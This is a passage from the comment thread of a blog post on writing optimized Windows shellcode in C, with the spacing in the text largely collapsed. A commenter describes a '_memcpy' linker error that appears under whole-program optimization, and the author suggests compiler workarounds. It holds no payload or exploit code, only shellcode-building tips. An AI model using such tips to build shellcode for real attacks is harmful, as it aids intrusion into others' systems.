and resolved the function accordingly. I should at least detect when I hit a forwarded function and return null
accordingly.
Thanks,
Matt
Reply
Glenn April2,2014at11:42AM
/GL:Wholeprogramoptimizationworksmostlyforme.Butinonepieceofshellcodeitcausedtheerror"unresolvedexternal
symbol_memcpy".Ineverusedthatfunctionmyself.
char*p1
char*p2
dwordlen
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 9/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
...
len=...
MyFunction(p1,p2,len)
WhenreplacingMyFunctionwith
MyFunction(p1,p2,10)
Theproblemwassolved.Irewrotethecodeinotherwaysbutalwaysigotthesameerrorsomewhere.
Disabeling "Whole program optimization" solved the problem, so i suppose the compiler used the memcpy somewhere to
optimisemycode...
Reply
Replies
MattGraeber April2,2014at12:42PM
Thanksforlettingmeknow.Sometimesthiscanbeatrialanderrorprocess.Forexample,Iwasoriginallygettinga
linkererrorfor_memsetuntilIstartedusingSecureZeroMemorytoinitializestackvariables.
Onepossiblesolutionwouldbetoimplementyourownversionofmemcpy,compiletheobjfile,andprovidethatfile
tothelinker.
Cheers,
Matt
Reply
Enteryourcomment...
Publish Preview Notifyme
Linkstothispost
CreateaLink
Subscribeto:PostComments(Atom)
ThisworkbyMatthewGraeberislicensedunderaCreativeCommonsAttribution3.0UnportedLicense.
PictureWindowtemplate.PoweredbyBlogger.
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 10/10